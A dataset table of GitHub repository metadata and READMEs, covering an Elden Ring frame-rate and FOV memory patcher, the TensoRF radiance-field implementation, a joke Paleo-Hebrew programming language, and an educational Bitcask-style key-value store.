repo
stringlengths 7
106
| readme
stringlengths 1
512k
โ | description
stringlengths 1
3.38k
โ | topics
stringlengths 2
244
โ | releases
int64 0
1k
| contributors
int64 0
10k
| pulls
int64 0
66.4k
| commits
int64 1
463k
| issues
int64 0
14.5k
| branches
int64 1
4.52k
| workflows
int64 0
116
|
|---|---|---|---|---|---|---|---|---|---|---|
uberhalit/EldenRingFpsUnlockAndMore | # Elden Ring FPS Unlocker and more
A small utility to remove frame rate limit, change FOV (Field of View), add widescreen supprt, alter Game Speed and various game modifications for [Elden Ring](https://en.bandainamcoent.eu/elden-ring/elden-ring) written in C#. More features soon!
Patches games memory while running, does not modify any game files. Works with every game version (legit steam & oh-not-so-legit), should work with all future updates.
## Download
**[Get the latest release here](https://github.com/uberhalit/EldenRingFpsUnlockAndMore/releases)**
## Features
* does not modify any game files, RAM patches only
* works with legit, unmodified steam version as well as with unpacked, not-so-legit versions
* unlock frame rate (remove FPS limit)
* remove forced 60 Hertz (Hz) limit in fullscreen
* increase or decrease field of view (FOV)
* disable camera auto rotate adjustment on movement (intended for mouse users)
* disable centering of camera (cam reset) on lock-on if there is no target
* add support for widescreen monitors
* game modifications
* global game speed modifier (increase or decrease)
* disable losing Runes on death
## Preview
[](#)
## Usage
**Make sure the game is running in offline mode and the AntiCheat (EAC) isn't running.**.
The graphic setup has to be done only once but as the patcher hot-patches the memory **you have to start the patcher every time you want to use any of its features**.
The game enforces VSYNC and forces 60 Hz in fullscreen even on 144 Hz monitors so we have to override these.
#### **Nvidia**: Use Nvidia Control Panel to set 'Preferred Refreshrate' to 'Highest available' on a Elden Ring Profile, if you aren't using GSYNC/FreeSYNC then set 'Vsync' to 'Off'.
#### **AMD**: Use Radeon Settings to set 'Wait for Vertical Refresh' to 'Enhanced Sync', 'Fast Sync' or 'Always Off' on a Elden Ring profile.
### Follow these steps on Nvidia (see below for GSYNC):
1. Open Nvidia Control Panel
2. Navigate to `Display -> Change resolution`
3. **Make sure your monitor is set to the highest Refresh rate possible:**
4. [](#)
5. Navigate to `3D Settings -> Manage 3D settings -> Program Settings -> Elden Ring`
6. **Set `Preferred refresh rate` to `Highest available`**
7. **Set `Vertical sync` to `Off`**
8. [](#)
9. Hit apply and close Nvidia Control Panel
10. Start `Elden Ring FPS Unlocker and more` and start the game through the first button
11. Set your new refresh rate limit, tick the checkbox and click `Patch game`
### Follow these steps on AMD:
1. Right click on Desktop -> `Display settings`
2. Scroll down and click `Advanced Display Settings -> Display Adapter Properties`
3. **Switch to `Monitor` tab and make sure your monitor is set to the highest Refresh rate possible:**
4. [](#)
5. Open Radeon Settings
6. Navigate to `Gaming -> Elden Ring` or add it manually if it's missing: `Add -> Browse -> Elden Ring`
7. **Set `Wait for Vertical Refresh` to `Enhanced Sync`, `Fast Sync` or `Always Off`**:
8. [](#)
9. Apply and close Radeon Settings
10. Start `Elden Ring FPS Unlocker and more` and start the game through the first button
11. Set your new refresh rate limit, tick the checkbox and click `Patch game`
### To play the game with GSYNC do these additional steps (Nvidia):
1. Under Nvidia Control Panel navigate to `3D Settings -> Manage 3D settings -> Program Settings -> Elden Ring`
2. Set `Monitor Technology` to `G-SYNC`
3. You can keep `Vertical sync` on `Use the 3D application setting` now to help remove frame time stutters ([see here](https://www.blurbusters.com/gsync/gsync101-input-lag-tests-and-settings/15/))
4. Make sure that `Preferred refresh rate` is still set to `Highest available`
5. [](#)
6. Don't forget to Apply and close Nvidia Control Panel
7. Use a 3rd party frame rate limiter like [RTSS](https://www.guru3d.com/files-details/rtss-rivatuner-statistics-server-download.html) and set a frame rate limit just a few fps below your monitor refresh rate, on a 144Hz Monitor use 138
8. Start `Elden Ring FPS Unlocker and more` and start the game through the first button
9. Set your new refresh rate limit, tick the checkbox and click `Patch game`
### On 'Change FOV by (%)'
Increase or decrease the games Field Of Fiew (FOV) between -95% and +95%.
### On 'Widescreen support'
Adds your monitors **native resolution** to the games video options overwriting the default 1920x1080 resolution. This will allow widescreen monitors to use their full resolution and aspect ratio.
### On 'Disable Steam check'
Normally you don't have to tick this checkbox (except when you are drinking rum while sailing the sea). Ticking this will tell the utility to not start Steam when it tries to launch the game. If your game isn't starting then untick this.
### On 'Disable camera auto rotate on movement':
Will disable the automatic camera rotation adjustments when you are moving. This is mostly intended for mouse users, enabling it on non-native windows controllers might not work correctly.
## On 'Disable camera reset on lock-on':
If you press your target lock-on key and no target is in sight the game will reset the camera position and disable your input while it's doing so. Ticking this checkbox will remove this behaviour of the game.
### On 'Disable Runes loss on death':
Like 'Unseen Aid' in Sekiro you will not lose any Runes upon death with this option enabled.
### On 'Game speed':
Slow down the game to beat a boss like a game journalist or speed it up and become gud. Game speed acts as a global time scale and is used by the game itself to create a dramatic effect in a few cutscenes. All game physics (even opening the menu) will be affected equally: all time-critical windows like dodge and deflect will be proportionally prolonged or shortened while the amount of damage given and taken as well as all other damage physics will be unaltered. A hit from an enemy on 150% game speed will do the exact same damage as on 80%, the deflect window on 50% is exactly twice as long as on 100% and so on. Of course, your character will be affected by the speed too so even though a time window might be different now, the speed which you can react on it is different too. Be aware that the speed modifier can potentially crash the game in certain cutscenes and NPC interactions so use it with caution.
## Troubleshooting:
* Make sure you followed the appropriate steps and didn't skip any
* Try disabling `Fullscreen optimization` for Elden Ring: right mouse click on `eldenring.exe -> Compatibility-> tick 'Disable fullscreen optimizations'`
* If you are using ReShade make sure your preset doesn't enforce 60 Hz, try removing ReShade and see if it solves the problem
* Game isn't starting when you click "Start game"? Untick 'Disable Steam check'
* Try adding the whole game folder and `Elden Ring FPS Unlocker and more` to your antivirus's exclusion list
* Try disabling `Steam Broadcast` (streaming via overlay)
* Try to force disable VSYNC even when you are using GSYNC/FreeSync/FastSync
* Close and disable all screen recording and streaming applications
* Close and disable all overlays
* Close and disable all performance "booster" programs and alike
* Do a clean reinstall of your graphic driver:
1. Download latest graphics driver for your GPU
2. Download [DDU](https://www.guru3d.com/files-get/display-driver-uninstaller-download,1.html)
3. Disconnect internet so windows update won't auto-install minimal driver as soon as you uninstall them
4. Boot into safe mode
5. Completely uninstall graphics driver and all of their utilities using DDU
6. Reboot
7. Install the latest driver you previously downloaded
8. Reconnect internet
## Prerequisites
* .NET Framework 4.8
* administrative privileges (for patching)
* 64 bit OS
## Building
Use Visual Studio 2022 to build and remove the missing `icon.ico` from build process.
## Contributing
Feel free to open an issue or create a pull request at any time
## License
This project is licensed under the MIT License - see the [LICENSE](LICENSE) file for details
## Credits
* huovnn for their contribution to disable the automatic camera adjustments on movement
* [Darius Dan](http://www.dariusdan.com) for the icon
## Limitations
* the game has forced VSYNC so unlocking the frame rate when your monitor has 60Hz will do nothing. You'll have to disable VSYNC in Nvidia Control Panel or AMD Radeon Settings first, see Usage
* in fullscreen the game forces the monitor to 60 Hz so you'll have to handle this with driver override too, see Usage
* your monitor has to natively support the widescreen resolution otherwise it won't show up correctly
* game speed modification can potentially crash the game in certain cutscenes and NPC interactions, use with caution
## Version History
* v1.1.0.0 (2022-03-22)
* added option to disable camera auto-rotate
* added option to disable camera reset on lock-on if no target is in range
* added option to disable Steam-check
* v1.0.0.1 (2022-02-28)
* fixed an issue with pattern on 'disabling runes loss'
* v1.0.0.0 (2022-02-28)
* fixed issue with widescreen support not setting correct aspect ratio
* made game start-up and checks more robust
* fixed an issue with game start-up on certain systems
* disabling runes loss upon death will now no longer drop the runes you didn't loose onto the ground
* better cleanup on exit
* v0.0.0.5-beta (2022-02-27)
* frame rate unlock now removes 60 Hz lock in fullscreen too (screw you FromSoft!)
* added widescreen support patch
* fixed a bug that would prevent re-starting the game correctly after exiting through main menu
* minor fixes
* v0.0.0.4-beta (2022-02-26)
* fixed issues with FOV changer
* added game speed modifier
* added option to disable Runes penalty upon death
* fixed game exe selection if exe isn't called 'eldenring.exe'
* improved stability
* v0.0.0.3-beta (2022-02-25)
* added FOV changer
* added handling of alternative version of EAC service (thanks to [DubbleClick](https://github.com/DubbleClick))
* added handling of non-english characters in installation paths (thanks to [mrdellis](https://github.com/mrdellis))
* v0.0.0.2-beta (2022-02-25)
* added game checks
* fixed broken game start
* added prompt to select game installation path
* removed reference to external MS DLL
* multiple fixes
* added icon
* v0.0.0.1-beta (2022-02-25)
* Initial release
| A small utility to remove frame rate limit, change FOV, add widescreen support and more for Elden Ring | gaming | 3 | 4 | 14 | 22 | 60 | 1 | 0 |
apchenstu/TensoRF | # TensoRF
## [Project page](https://apchenstu.github.io/TensoRF/) | [Paper](https://arxiv.org/abs/2203.09517)
This repository contains a pytorch implementation for the paper: [TensoRF: Tensorial Radiance Fields](https://arxiv.org/abs/2203.09517). Our work present a novel approach to model and reconstruct radiance fields, which achieves super
**fast** training process, **compact** memory footprint and **state-of-the-art** rendering quality.<br><br>
https://user-images.githubusercontent.com/16453770/158920837-3fafaa17-6ed9-4414-a0b1-a80dc9e10301.mp4
## Installation
#### Tested on Ubuntu 20.04 + Pytorch 1.10.1
Install environment:
```
conda create -n TensoRF python=3.8
conda activate TensoRF
pip install torch torchvision
pip install tqdm scikit-image opencv-python configargparse lpips imageio-ffmpeg kornia lpips tensorboard
```
## Dataset
* [Synthetic-NeRF](https://drive.google.com/drive/folders/128yBriW1IG_3NJ5Rp7APSTZsJqdJdfc1)
* [Synthetic-NSVF](https://dl.fbaipublicfiles.com/nsvf/dataset/Synthetic_NSVF.zip)
* [Tanks&Temples](https://dl.fbaipublicfiles.com/nsvf/dataset/TanksAndTemple.zip)
* [Forward-facing](https://drive.google.com/drive/folders/128yBriW1IG_3NJ5Rp7APSTZsJqdJdfc1)
## Quick Start
The training script is in `train.py`, to train a TensoRF:
```
python train.py --config configs/lego.txt
```
we provide a few examples in the configuration folder, please note:
`dataset_name`, choices = ['blender', 'llff', 'nsvf', 'tankstemple'];
`shadingMode`, choices = ['MLP_Fea', 'SH'];
`model_name`, choices = ['TensorVMSplit', 'TensorCP'], corresponding to the VM and CP decomposition.
You need to uncomment the last a few rows of the configuration file if you want to training with the TensorCP model๏ผ
`n_lamb_sigma` and `n_lamb_sh` are string type refer to the basis number of density and appearance along XYZ
dimension;
`N_voxel_init` and `N_voxel_final` control the resolution of matrix and vector;
`N_vis` and `vis_every` control the visualization during training;
You need to set `--render_test 1`/`--render_path 1` if you want to render testing views or path after training.
More options refer to the `opt.py`.
### For pretrained checkpoints and results please see:
[https://1drv.ms/u/s!Ard0t_p4QWIMgQ2qSEAs7MUk8hVw?e=dc6hBm](https://1drv.ms/u/s!Ard0t_p4QWIMgQ2qSEAs7MUk8hVw?e=dc6hBm)
## Rendering
```
python train.py --config configs/lego.txt --ckpt path/to/your/checkpoint --render_only 1 --render_test 1
```
You can just simply pass `--render_only 1` and `--ckpt path/to/your/checkpoint` to render images from a pre-trained
checkpoint. You may also need to specify what you want to render, like `--render_test 1`, `--render_train 1` or `--render_path 1`.
The rendering results are located in your checkpoint folder.
## Extracting mesh
You can also export the mesh by passing `--export_mesh 1`:
```
python train.py --config configs/lego.txt --ckpt path/to/your/checkpoint --export_mesh 1
```
Note: Please re-train the model and don't use the pretrained checkpoints provided by us for mesh extraction,
because some render parameters has changed.
## Training with your own data
We provide two options for training on your own image set:
1. Following the instructions in the [NSVF repo](https://github.com/facebookresearch/NSVF#prepare-your-own-dataset), then set the dataset_name to 'tankstemple'.
2. Calibrating images with the script from [NGP](https://github.com/NVlabs/instant-ngp/blob/master/docs/nerf_dataset_tips.md):
`python dataLoader/colmap2nerf.py --colmap_matcher exhaustive --run_colmap`, then adjust the datadir in `configs/your_own_data.txt`. Please check the `scene_bbox` and `near_far` if you get abnormal results.
## Citation
If you find our code or paper helps, please consider citing:
```
@INPROCEEDINGS{Chen2022ECCV,
author = {Anpei Chen and Zexiang Xu and Andreas Geiger and Jingyi Yu and Hao Su},
title = {TensoRF: Tensorial Radiance Fields},
booktitle = {European Conference on Computer Vision (ECCV)},
year = {2022}
}
```
| [ECCV 2022] Tensorial Radiance Fields, a novel approach to model and reconstruct radiance fields | 3d-reconstruction,3d-modelling,3d-rendering | 0 | 1 | 9 | 16 | 53 | 1 | 0 |
elonlit/Genesis | # Genesis ***๐ค***
[](https://github.com/ellerbrock/open-source-badges/)
> "*My frame was not hidden from you, when I was being made in secret, intricately woven in the depths of the earth. Your eyes saw my unformed substance; in your book were written, every one of them, the days that were formed for me, when as yet there was none of them*" [^1]
Genesis is an interpreted, procedural, and Turing-complete Paleo-Hebrew programming language. Diacritical signs are forgone for simplification, though maybe Nikud can be used in prospect as a means for more reserved keywords.
<p align="center">
<img src="https://img.shields.io/badge/Platforms-win%20%7C%20linux%20%7C%20osx-lightgrey" />
<!--<img src="https://img.shields.io/powershellgallery/p/DNS.1.1.1.1" />-->
<a href="https://github.com/elonlit/Genesis/blob/master/LICENSE">
<img src="https://img.shields.io/badge/license-HOLY--LICENSE-yellow" />
</a>
</p>
<p align="center">
<a href="#valid-keywords">Keywords</a> โข
<a href="#operations-punctuation-elements--identifiers">Operators</a> โข
<a href="#data-types--literals">Types</a> โข
<a href="#control-flow">Control Flow</a> โข
<a href="#subroutines">Subroutines</a> โข
<a href="#data-structures">Data Structures</a> โข
<a href="#math-library--native-utilities">Utilities</a> โข
<a href="#faq">FAQ</a>
</p>
---
## Valid Keywords
| Lexeme | ๐ค Equivalent(s) |
| ------------- | ------------- |
| Print | ๐ค๐ค๐ค๐ค |
| Print Line | ๐ค๐ค๐ค๐ค๐ค |
| Declare/Initialize Variable | ๐ค๐ค๐ค๐ค |
| Declare Subroutine | ๐ค๐ค
๐ค๐ค๐ค๐ค๐ค |
| If | ๐ค๐ค |
| Then | ๐ค๐ค |
| While | ๐ค๐ค๐ค
๐ค |
| For | ๐ค๐ค๐ค
๐ค |
| For Each | ๐ค๐ค๐ค
๐ค๐ค๐ค |
| Sleep | ๐ค๐ค๐ค |
| Consecrate | ๐ค-๐ค-๐ค |
The `๐ค-๐ค-๐ค` keyword, meaning literally "to consecrate" or "to purify," denotes when the scope of a subroutine or loop terminates.
## Operations, Punctuation Elements, & Identifiers
Java-style syntax and precedence are preserved for most operators:
`+` - addition (numbers, strings)<br />
`-` - subtraction (numbers)<br />
`/` - division (numbers)<br />
`*` - multiplication (numbers)<br />
`^` - power (numbers)<br />
`=` - assignment (numbers, strings)<br />
`==` - logical equals (numbers, strings)<br />
`=!` - not equal to (numbers, strings)<br />
`<` - less than (numbers)<br />
`>` - greater than (numbers)<br />
`=>` - greater than or equal to (numbers)<br />
`=<` - less than or equal to (numbers)<br />
`&&` - logical and (booleans)<br />
`||` - logical or (booleans)<br />
However, the associativity of most operators is from right-to-left:
<pre dir="rtl" align="right">
๐ค๐ค๐ค๐ค ๐ค๐ค
= ๐คืด๐ค - ๐คืณ // 23
</pre>
Identifiers can be represented by alphanumeric text (including `_`) and do not have to start with an alphabetic character.
## Data Types & Literals
Genesis is weakly and dynamically typed, so casting between primitives is handled implicitly by the interpreter. There are three data types:
1. Number
- Encompasses `Bytes`, `Shorts`, `Integers`, `Longs`, `Doubles`, and `Floats`.
2. Boolean
- Supports literals `๐ค๐ค๐ค` or `๐ค๐ค๐ค`, which correspond to `True` or `False`, respectively.
3. String
- Delimited by quotation marks, e.g. `"!๐ค๐ค๐ค
๐ค ๐ค๐ค
๐ค๐ค"`.
The Paleo-Hebrew alphabet may have used gematria to denote cardinal values, although there is only evidence of this on the Samaria Ostraca and Dead Sea Scroll 4Q252. This quasi-decimal isopsephic number system is adopted for a lack of an academic consensus.
In this paradigm of numerology, there is no notation for zero, and the numeric values for individual letters are added together. Each unit (`1`, `2`, ..., `9`) is assigned a separate letter, each tens (`10`, `20`, ..., `90`) a separate letter, and the first four hundreds (`100`, `200`, `300`, `400`) a separate letter. The later hundreds (`500`, `600`, `700`, `800`, and `900`) are represented by the sum of two or three letters representing the first four hundreds. To represent numbers from `1,000` to `999,999`, the same letters are reused to serve as thousands, tens of thousands, and hundreds of thousands. Biblical pseudepigrapha use these transformations extensively. Standard (normative value) encoding per the conventional affine Mispar Hechrachi method of gematria is as follows:
| Decimal | Hebrew | ๐ค Glyph |
| --- | --- | --- |
| 1 | Alep | ๐ค |
| 2 | Bet | ๐ค |
| 3 | Gimel | ๐ค |
| 4 | Dalet | ๐ค |
| 5 | He | ๐ค |
| 6 | Waw | ๐ค
|
| 7 | Zayin | ๐ค |
| 8 | Het | ๐ค |
| 9 | Tet | ๐ค |
| 10 | Yod | ๐ค |
| 20 | Kaf | ๐ค |
| 30 | Lamed | ๐ค |
| 40 | Mem | ๐ค |
| 50 | Nun | ๐ค |
| 60 | Samek | ๐ค |
| 70 | Ayin | ๐ค |
| 80 | Pe | ๐ค |
| 90 | Sade | ๐ค |
| 100 | Qop | ๐ค |
| 200 | Res | ๐ค |
| 300 | Sin | ๐ค |
| 400 | Taw | ๐ค |
Gershayim `ืด` (U+05F4 in Unicode, and resembling a double quote mark) (sometimes erroneously referred to as merkha'ot, which is Hebrew for double quote) are inserted before (to the right of) the last (leftmost) letter to indicate that the sequence of letters represents a gematric sequence of at least two Hebrew numerals (e.g., `28` โ `๐คืด๐ค` and `5782` โ `๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐ค๐คืด๐ค`).
Similarly, a single geresh `ืณ` (U+05F3 in Unicode, and resembling a single quote mark) is appended after (to the left of) a single letter in the case where a number is represented by a single Hebrew numeral (e.g. `100` โ `๐คืณ`).
## Control Flow
> "*Seek the Lord while he may be found; call on him while he is near*" [^2]
The standard suite of loop constructs is supported. An iterative implementation for generating the first ten terms of the Fibonacci sequence using a `๐ค๐ค๐ค
๐ค` loop is formulated as an example:
<pre dir="rtl" align="right">
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค = ๐คืณ
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค
๐ค = ๐คืณ
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค = ๐คืณ - ๐คืณ
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค = ๐คืณ - ๐คืณ
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค = ๐คืณ - ๐คืณ
๐ค๐ค๐ค
๐ค ๐ค๐ค๐ค๐ค <= ๐ค๐ค๐ค๐ค:
๐ค๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค
๐ค๐ค๐ค๐ค = ๐ค๐ค๐ค๐ค
๐ค + ๐ค๐ค๐ค๐ค
๐ค๐ค๐ค๐ค
๐ค = ๐ค๐ค๐ค๐ค
๐ค๐ค๐ค๐ค = ๐ค๐ค๐ค๐ค
๐ค๐ค๐ค๐ค = ๐ค๐ค๐ค๐ค + ๐คืณ
๐ค-๐ค-๐ค
</pre>
The following `๐ค๐ค๐ค
๐ค` loop prints out the first ten natural numbers:
<pre dir="rtl" align="right">
๐ค๐ค๐ค
๐ค ๐ค๐ค๐ค๐ค=๐คืณ,๐ค๐ค๐ค๐ค>=๐คืณ,๐ค๐ค๐ค๐ค=๐ค๐ค๐ค๐ค-๐คืณ:
๐ค๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค
๐ค-๐ค-๐ค
</pre>
To accomplish nested operations or anamorphism, it is recommended to do a composition of subroutines.
## Subroutines
> "*'I AM THAT I AM'*" [^3]
Functions in Genesis are declared using the `๐ค๐ค
๐ค๐ค๐ค๐ค๐ค` keyword. Being void and non-parameterized, however, they are actually subroutines. There is recursion insomuch that making a self-referential call from within a subroutine is possible, but there is no means to exit that recursion to express the irrevocable danger of pride and egoism. This design follows the contention that recursion, as Peter Deutsch identified, is divine and not encompassed by the domain of human programmers, as evidenced by God identifying himself recursively.
<!--- > "*For if, after they have returned from the defilements of the world by the knowledge of the Lord and Savior Jesus Christ, they are again entangled in them and are overcome, the last state has become worse for them than the first*"-->
To call on a subroutine, use the reference name with which it was defined. The following subroutine `๐ค๐ค๐ค๐ค
๐ค` approximates the gravitational force of a 290-gram KJV Compact Ultraslim Bible one meter from a 70-kg human being:
<pre dir="rtl" align="right">
๐ค๐ค๐ค๐ค ๐ค๐ค
๐ค = (๐คืณ / (๐คืณ ^ ๐คืด๐ค)) * (๐ค๐ค๐คืด๐ค / ๐คืณ)
๐ค๐ค๐ค๐ค ๐ค๐ค
๐ค๐ค = ๐คืด๐ค / ๐คืณ
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค = ๐คืณ
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค = ๐คืณ
๐ค๐ค
๐ค๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค
๐ค:
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค๐ค
๐ค = (๐ค๐ค
๐ค * ๐ค๐ค
๐ค๐ค * ๐ค๐ค๐ค) / (๐ค๐ค๐ค๐ค * ๐ค๐ค๐ค๐ค)
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค๐ค
๐ค
๐ค-๐ค-๐ค
๐ค๐ค๐ค๐ค
๐ค
</pre>
Other examples can be found in the respository.
## Data Structures
Genesis provides fixed-length untyped array data structures. Curly braces are used to initialize arrays, and elements can be accessed or mutated through square bracket index operators:
<pre dir="rtl" align="right">
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค = {๐คืณ, ๐คืณ, ๐คืณ}
๐ค๐ค๐ค๐ค[๐คืณ/๐คืณ] = ๐ค๐ค๐ค
๐ค๐ค๐ค
๐ค๐ค๐ค ๐ค๐ค๐ค๐ค๐ค, ๐ค๐ค๐ค๐ค:
๐ค๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค๐ค
๐ค-๐ค-๐ค
</pre>
As denoted, `๐ค๐ค๐ค
๐ค` or `๐ค๐ค๐ค
๐ค๐ค๐ค` looping an array will yield its values.
## Math Library & Native Utilities
| Function | Description | ๐ค Equivalent(s) |
| :-- | --- | --: |
| Sqrt(#) | Returns the correctly rounded positive square root of a number value. | ๐ค๐ค
๐ค๐ค(๐ค) |
| Sin(โ ) | Returns the trigonometric sine of an angle. | ๐ค๐ค๐ค(๐ค) |
| Cos(โ ) | Returns the trigonometric cosine of an angle. | ๐ค๐ค
๐ค(๐ค) |
| Tan(โ ) | Returns the trigonometric tangent of an angle. | ๐ค๐ค(๐ค) |
| ToDegrees(C) | Converts an angle measured in radians to degrees. | ๐ค๐ค(๐ค) |
| ToRadians(โ ) | Converts an angle measured in degrees to radians. | ๐ค๐ค(๐ค) |
| Absolute(#) | Returns the absolute value of a number value. | ๐ค๐ค๐ค(๐ค) |
| Log(#) | Returns the natural logarithm (base *e*) of a number value. | (๐ค)๐ค๐ค
๐ค |
| Exp(#) | Returns Euler's number *e* raised to the power of a number value. | (๐ค)๐ค๐ค๐ค๐ค |
| Ulp(#) | Returns the size of an ulp of the argument. | (๐ค)๐ค๐ค
๐ค๐ค |
| PI() | Returns ฯ rounded to double precision. | ()๐ค๐ค๐ค |
| Random() | Returns a number value greater than or equal to 0.0 and less than 1.0. | ()๐ค๐ค๐ค |
| Evince() | Returns a random Bible quote. | ()๐ค๐ค๐ค |
Some calculations:
<pre dir="rtl" align="right">
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค = ๐คืณ * ๐ค๐ค๐ค() * (๐คืด๐ค ^ ๐คืณ)
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค
๐ค๐ค = (๐คืณ/๐คืณ) * (๐คืณ * ๐คืด๐ค * ๐ค๐ค๐ค(๐คืด๐ค))
๐ค๐ค๐ค๐ค ๐ค๐ค = ๐ค๐ค
๐ค๐ค(๐คืด๐ค) * ๐ค๐ค๐ค()
๐ค๐ค๐ค๐ค๐ค ๐ค๐ค๐ค
๐ค๐ค๐ค๐ค๐ค ๐ค๐ค๐ค
๐ค๐ค
๐ค๐ค๐ค๐ค๐ค ๐ค๐ค
</pre>
A subroutine for calculating the energy of an electron in the <i>`๐ค`</i>-th orbital of a hydrogenic atom in Joules:
<pre dir="rtl" align="right">
๐ค๐ค
๐ค๐ค๐ค๐ค๐ค ๐ค๐ค๐ค๐ค๐ค๐ค:
๐ค๐ค๐ค๐ค ๐ค = ๐คืณ
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค
๐ค = ((๐คืณ * (๐คืณ ^ ๐คืณ)) * ((๐คืด๐ค / ๐คืณ) * (๐คืณ ^ ๐คืณ)) * (((๐คืณ + ๐คืณ * ๐คืณ) / (๐คืด๐ค)) * (๐คืณ ^ (๐ค
ืณ - ๐คืณ))) * (๐คืณ - ๐คืณ)) * (๐คืณ / (๐ค * ๐ค))
๐ค๐ค๐ค๐ค ๐ค๐ค๐ค
๐ค
๐ค-๐ค-๐ค
๐ค๐ค๐ค๐ค๐ค๐ค
</pre>
FAQ
------
### Why not use Modern Hebrew?
If you are able to program in this language, I have failed.
### Why are you running an interpreted language over an interpreted language?
> "*Wherefore, just as sin came into the world through one man, and death through sin, and so death spread to all men because all sinned*" [^4]
### Why not make an object-oriented language?
This suggestion makes me consternated. Genesis will never be object-oriented because the Bible explicitly forbids object worship:
> "*These prized objects are really worthless. The people who worship idols donโt know this, so they are all put to shame. []Their eyes are closed, and they cannot see. Their minds are shut, and they cannot think. The person who made the idol never stops to reflect, 'Why, itโs just a block of wood! I burned half of it for heat and used it to bake my bread and roast my meat. How can the rest of it be a god? Should I bow down to worship a piece of wood?'*" [^5]
[^1]: [Psalm 139:13-16](https://www.biblegateway.com/passage/?search=Psalm%20139%3A13-16&version=NIV)
[^2]: [Isaiah 55:6-7](https://www.biblegateway.com/passage/?search=Isaiah%2055%3A6-7&version=KJV)
[^3]: [Exodus 3:14](https://www.biblegateway.com/passage/?search=Exodus%203%3A14&version=KJV)
[^4]: [Romans 5:12-13](https://biblia.com/bible/esv/romans/5/12-13)
[^5]: [Isaiah 44:9-20](https://www.biblestudytools.com/nlt/isaiah/passage/?q=isaiah+44:9-20)
| God's actual programming language. | bible,hebrew,procedural-programming,interpreter | 2 | 2 | 2 | 32 | 9 | 1 | 0 |
avinassh/py-caskdb | 
# CaskDB - Disk based Log Structured Hash Table Store
[](https://github.com/avinassh/py-caskdb/actions/workflows/build.yml)
[](https://codecov.io/gh/avinassh/py-caskdb)
[](https://twitter.com/iavins)
CaskDB is a disk-based, embedded, persistent, key-value store based on the [Riak's bitcask paper](https://riak.com/assets/bitcask-intro.pdf), written in Python. It is more focused on the educational capabilities than using it in production. The file format is platform, machine, and programming language independent. Say, the database file created from Python on macOS should be compatible with Rust on Windows.
This project aims to help anyone, even a beginner in databases, build a persistent database in a few hours. There are no external dependencies; only the Python standard library is enough.
If you are interested in writing the database yourself, head to the workshop section.
## Features
- Low latency for reads and writes
- High throughput
- Easy to back up / restore
- Simple and easy to understand
- Store data much larger than the RAM
## Limitations
Most of the following limitations are of CaskDB. However, there are some due to design constraints by the Bitcask paper.
- Single file stores all data, and deleted keys still take up the space
- CaskDB does not offer range scans
- CaskDB requires keeping all the keys in the internal memory. With a lot of keys, RAM usage will be high
- Slow startup time since it needs to load all the keys in memory
## Community
[](https://discord.gg/HzthUYkrPp)
Consider joining the Discord community to build and learn KV Store with peers.
## Dependencies
CaskDB does not require any external libraries to run. For local development, install the packages from [requirements_dev.txt](requirements_dev.txt):
pip install -r requirements_dev.txt
## Installation
PyPi is not used for CaskDB yet ([issue #5](https://github.com/avinassh/py-caskdb/pull/5)), and you'd have to install it directly from the repository by cloning.
## Usage
```python
disk: DiskStorage = DiskStore(file_name="books.db")
disk.set(key="othello", value="shakespeare")
author: str = disk.get("othello")
# it also supports dictionary style API too:
disk["hamlet"] = "shakespeare"
```
## Prerequisites
The workshop is for intermediate-advanced programmers. Knowing Python is not a requirement, and you can build the database in any language you wish.
Not sure where you stand? You are ready if you have done the following in any language:
- If you have used a dictionary or hash table data structure
- Converting an object (class, struct, or dict) to JSON and converting JSON back to the things
- Open a file to write or read anything. A common task is dumping a dictionary contents to disk and reading back
## Workshop
**NOTE:** I don't have any [workshops](workshop.md) scheduled shortly. [Follow me on Twitter](https://twitter.com/iavins/) for updates. [Drop me an email](http://scr.im/avii) if you wish to arrange a workshop for your team/company.
CaskDB comes with a full test suite and a wide range of tools to help you write a database quickly. [A Github action](https://github.com/avinassh/py-caskdb/blob/master/.github/workflows/build.yml) is present with an automated tests runner, code formatter, linter, type checker and static analyser. Fork the repo, push the code, and pass the tests!
Throughout the workshop, you will implement the following:
- Serialiser methods take a bunch of objects and serialise them into bytes. Also, the procedures take a bunch of bytes and deserialise them back to the things.
- Come up with a data format with a header and data to store the bytes on the disk. The header would contain metadata like timestamp, key size, and value.
- Store and retrieve data from the disk
- Read an existing CaskDB file to load all keys
### Tasks
1. Read [the paper](https://riak.com/assets/bitcask-intro.pdf). Fork this repo and checkout the `start-here` branch
2. Implement the fixed-sized header, which can encode timestamp (uint, 4 bytes), key size (uint, 4 bytes), value size (uint, 4 bytes) together
3. Implement the key, value serialisers, and pass the tests from `test_format.py`
4. Figure out how to store the data on disk and the row pointer in the memory. Implement the get/set operations. Tests for the same are in `test_disk_store.py`
5. Code from the task #2 and #3 should be enough to read an existing CaskDB file and load the keys into memory
Use `make lint` to run mypy, black, and pytype static analyser. Run `make test` to run the tests locally. Push the code to Github, and tests will run on different OS: ubuntu, mac, and windows.
Not sure how to proceed? Then check the [hints](hints.md) file which contains more details on the tasks and hints.
### Hints
- Check out the documentation of [struck.pack](https://docs.python.org/3/library/struct.html#struct.pack) for serialisation methods in Python
- Not sure how to come up with a file format? Read the comment in the [format module](format.py)
## What next?
I often get questions about what is next after the basic implementation. Here are some challenges (with different levels of difficulties)
### Level 1:
- Crash safety: the bitcask paper stores CRC in the row, and while fetching the row back, it verifies the data
- Key deletion: CaskDB does not have a delete API. Read the paper and implement it
- Instead of using a hash table, use a data structure like the red-black tree to support range scans
